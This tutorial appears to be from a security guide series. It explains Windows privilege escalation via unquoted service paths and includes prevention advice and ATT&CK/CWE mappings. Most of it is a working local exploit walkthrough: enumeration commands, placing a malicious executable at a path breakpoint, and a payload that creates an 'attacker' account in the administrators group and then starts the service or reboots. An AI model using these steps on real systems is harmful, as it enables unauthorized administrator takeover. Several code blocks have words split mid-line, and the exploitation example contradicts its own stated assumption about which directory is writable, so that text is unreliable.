# Windows Privilege Escalation: Unquoted Service Paths

This opens a new, seven-part Windows companion to the Linux Privilege Escalation series (Unquoted Service Paths, AlwaysInstallElevated, Token Impersonation, SeImpersonatePrivilege, Juicy Potato, PrintSpoofer, WinPEAS). Unquoted service paths is a good starting point because it's conceptually the closest Windows equivalent to your Linux Cron Jobs and PATH Hijacking guides — a privileged, automatically-running process (a Windows service, frequently running as SYSTEM) trusts a file path it shouldn't, and the gap comes down to how Windows parses an unquoted string containing spaces. Worth locking in the distinction immediately: **Part 1 covers how the Windows service path parsing ambiguity actually works — Part 2 covers finding vulnerable services and executing the actual exploitation**, since (like the Linux PATH guide) the underlying gap is simple, but reliably finding a genuinely exploitable instance takes real enumeration discipline.

---

## 1. How Windows Parses an Unquoted Path With Spaces — The Foundation

Every Windows service has an associated executable path stored in the registry, which the Service Control Manager (SCM) launches when the service starts. When that path contains spaces and **is not wrapped in quotation marks**, Windows doesn't know where the actual executable name ends and command-line arguments begin — so it tries **every plausible breakpoint**, starting from the leftmost space, until something resolves:

```
Unquoted service path stored in the registry:
  C:\Program Files\Some Vendor\Some Service\service.exe

Windows attempts resolution in this exact order, stopping at the
FIRST match it finds on disk:
  1. C:\Program.exe               (+ remaining path as arguments)
  2. C:\Program Files\Some.exe              (+ remaining path as arguments)
  3. C:\Program Files\Some Vendor\Some.exe       (+ remaining path as arguments)
  4. C:\Program Files\Some Vendor\Some Service\service.exe
     (the INTENDED, correct target - only reached if NONE of the
      earlier candidate paths existed)
```

**The single fact this entire technique exploits — if an attacker can place a malicious executable at ANY of the earlier candidate breakpoints (a directory they have write access to, sitting earlier in that resolution order than the legitimate target), Windows will launch the attacker's file INSTEAD of the real service binary, with whatever privilege level the service itself runs under — commonly SYSTEM, the highest privilege level on a Windows machine.** This is structurally identical to your Linux PATH Hijacking guide's core mechanism — the difference is entirely in WHERE the ambiguity comes from: there it's `$PATH` search-order; here it's unescaped whitespace within a single unquoted string.

---

# PART 1: Finding Vulnerable Services

## 2. Enumerating Services and Their Binary Paths

```
wmic service get name,displayname,pathname,startmode | find
str /i /v '"'
```

```
findstr /i /v '"'   → filters OUT any line that already contains a
                      quotation mark, leaving only genuinely
                      UNQUOTED paths in the results - the fast,
                      practical first-pass filter for this entire technique
```

```
Alternative, more detailed enumeration:
  Get-WmiObject win32_service | Where-Object {$_.PathName -notlike
    'C:\Windows*' -and $_.PathName -notlike '"*'} |
    Select Name, DisplayName, PathName, StartMode
```

## 3. Filtering to Genuinely Exploitable Candidates

Not every unquoted path is exploitable — the path needs BOTH a space in it (to create ambiguity at all) AND at least one writable directory earlier in the resolution chain:

```
Exploitable pattern:
  C:\Program Files\Vendor App\service.exe
  → contains spaces, multiple candidate breakpoints exist

Not exploitable (no ambiguity to begin with):
  C:\Windows\System32\svchost.exe -k netsvcs
  → no spaces WITHIN the actual path portion itself (the -k
```

```
     netsvcs is legitimately an argument, correctly separated by
     Windows' own convention here, and the executable path itself
     has no internal spaces to create breakpoint ambiguity)
```

## 4. Checking Write Permissions on Each Candidate Breakpoint Directory

```
icacls "C:\Program Files\Some Vendor"
icacls "C:\Program Files"
```

```
Look specifically for your current user or a group you belong to (Users, Authenticated
Users, Everyone) having (M) Modify, (W) Write, or (F) Full control on any directory ea
rlier in the resolution chain than the legitimate target - C:\Program Files itself is
normally locked down tightly by default, making a writable INTERMEDIATE directory (a s
pecific vendor's subfolder, created by a poorly-configured installer) the realistic fi
nding here
```

## 5. Checking the Service's Startup Configuration and Current Privilege

```
sc qc <service_name>
```

```
Confirms: START_TYPE (auto-start services are more immediately useful than manual-star
t ones, similar to your Cron Jobs guide's frequency consideration), and SERVICE_START_
NAME (the account the service runs as - LocalSystem is the highest-value target, thoug
h a specific named service account still represents a real escalation if it differs fr
om your current privilege level)
```

---

# PART 2: Exploitation

## 6. Placing the Malicious Executable

```
# assuming C:\Program Files\Some Vendor\ is writable, and t
he
# legitimate service binary lives at:
#   C:\Program Files\Some Vendor\Some Service\service.exe
```

```
copy malicious.exe "C:\Program Files\Some.exe"
```

```
The malicious executable's NAME must exactly match the candidate breakpoint Windows wi
ll check - in this example, "Some.exe" placed directly in "C:\Program Files\" (matchin
g the SECOND resolution attempt from Section 1's example, assuming the first candidate
directory C:\ itself isn't writable, which it normally isn't)
```

## 7. Constructing the Payload

```
Simplest reliable payload: a command that performs its actual
action and exits cleanly, since a launched process from a SERVICE
context needs to either behave AS a service (implementing the
Service Control Manager's expected start/stop protocol) or exit
quickly enough not to trigger the SCM's "service failed to start"
timeout/error behavior:

  net user attacker Password123! /add
  net localgroup administrators attacker /add
```

```
msfvenom or a simple compiled C/C++ executable wrapping the above commands (via system
() or CreateProcess()) are both common practical approaches for generating the actual
malicious.exe payload
```

## 8. Triggering Service Execution

```
# if you have permission to control the service directly:
net start <service_name>
sc start <service_name>

# if not, and the service is set to auto-start:
shutdown /r /t 0        # trigger a restart, waiting for th
e
                           # service to launch automaticall
y on boot
                           # (requires appropriate privileg
e/patience,
                           # analogous to your Cron Jobs gu
ide's
```

```
                                # "wait for the schedule to fir
e" pattern)
```

### 9. Confirming Success

```
net user attacker
# confirm the account was created with the expected group m
embership

net localgroup administrators
# confirm 'attacker' now appears in the Administrators grou
p,
# achieved via a process that briefly ran as SYSTEM
```

---

## 10. Testing Methodology

```
1. Enumerate all services with unquoted paths containing spaces (Section 2), filtering
to genuine candidates (Section 3)

2. For each candidate, walk the FULL resolution chain (Section 1's example structure)
and check icacls permissions on every intermediate directory (Section 4)

3. Confirm the service's privilege level and start type (Section 5) before investing f
urther effort - a manual-start service running as a low-privilege named account is a m
uch lower-value target than an auto-start SYSTEM service

4. Place the payload (Sections 6-7) at the EARLIEST writable breakpoint in the chain,
not just any writable location

5. Trigger execution (Section 8) via whichever mechanism your current access permits,
and verify the actual outcome (Section 9) rather than assuming success from the absenc
e of an error message
```

## 11. Prevention

```
- Always wrap service executable paths in quotation marks in the registry/service conf
iguration - the single, complete fix that eliminates the parsing ambiguity entirely:
    "C:\Program Files\Some Vendor\Some Service\service.exe"

- Audit existing services for unquoted paths as a standard, recurring hardening check
(Section 2's enumeration command works equally well defensively)
```

```
- Apply the principle of least privilege to directory permissions under Program Files
and similar install locations - ordinary users/groups should never have write access t
o application install directories

- Review third-party software installers specifically - this vulnerability pattern is
disproportionately introduced by poorly-written vendor installers rather than by Windo
ws' own built-in services, making third-party software inventory review a genuinely hi
gh-value defensive activity here
```

---

# 12. Practical Lab Example

```
TryHackMe and HTB Academy's Windows Privilege Escalation modules
both include dedicated unquoted-service-path boxes, frequently
paired with a deliberately vulnerable, custom-installed third-party
service rather than relying on a default Windows service (which are
rarely misconfigured this way out of the box).

Suggested practice order:
1. On a lab Windows VM, manually create a service with a
   deliberately unquoted, space-containing path pointing into a
   directory you control (sc create testsvc binpath=
   "C:\Test Path\service.exe" - note: sc create itself REQUIRES
   quoting the FULL sc command's binpath argument even while
   creating a DELIBERATELY unquoted internal path value, a subtlety
   worth working through hands-on rather than just reading about)
2. Enumerate it via Section 2's wmic command and confirm it's
   correctly flagged
3. Place a simple payload at the appropriate breakpoint and trigger
   the service, confirming the exact privilege-escalation outcome
```

---

# Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

| Framework | Mapping |
|---|---|
| CWE | CWE-428 (Unquoted Search Path or Element - the exact, dedicated CWE for this technique), CWE-732 (Incorrect Permission Assignment for Critical Resource, covering the writable-directory precondition) |
| OWASP Top 10:2025 | A02:2025 Security Misconfiguration |
| CVSS | High/Critical (PR:L reflecting the low-privilege starting point, C:H/I:H/A:H given the typical SYSTEM-level outcome) |
| Cyber Kill Chain | Privilege Escalation |

| Framework | Mapping |
| --- | --- |
| MITRE ATT&CK | T1574.009 (Hijack Execution Flow: Path Interception by Unquoted Path) — its own dedicated sub-technique, the direct Windows sibling of T1574.007 referenced in your Linux PATH Hijacking guide |

# Quick Reference Cheat Sheet

```
FIND:
  wmic service get name,displayname,pathname,startmode | findstr /i /v '"'

CHECK PERMISSIONS on every intermediate directory in the path:
  icacls "C:\Program Files\Vendor Name"

EXPLOIT:
  1. Identify the exact breakpoint Windows will resolve to first
  2. Place a same-named malicious .exe at that breakpoint
  3. net start <service> (or wait for auto-start on reboot)
  4. Confirm via net user / net localgroup administrators

Root lesson: this is the Windows sibling of your Linux PATH
Hijacking guide's core mechanism - a privileged process resolving
an ambiguous path string, with the ambiguity here coming from
unescaped whitespace rather than search-order across multiple
directories. Same underlying category (CWE-428 vs CWE-427), same fix
(be explicit, don't let the parser guess).
```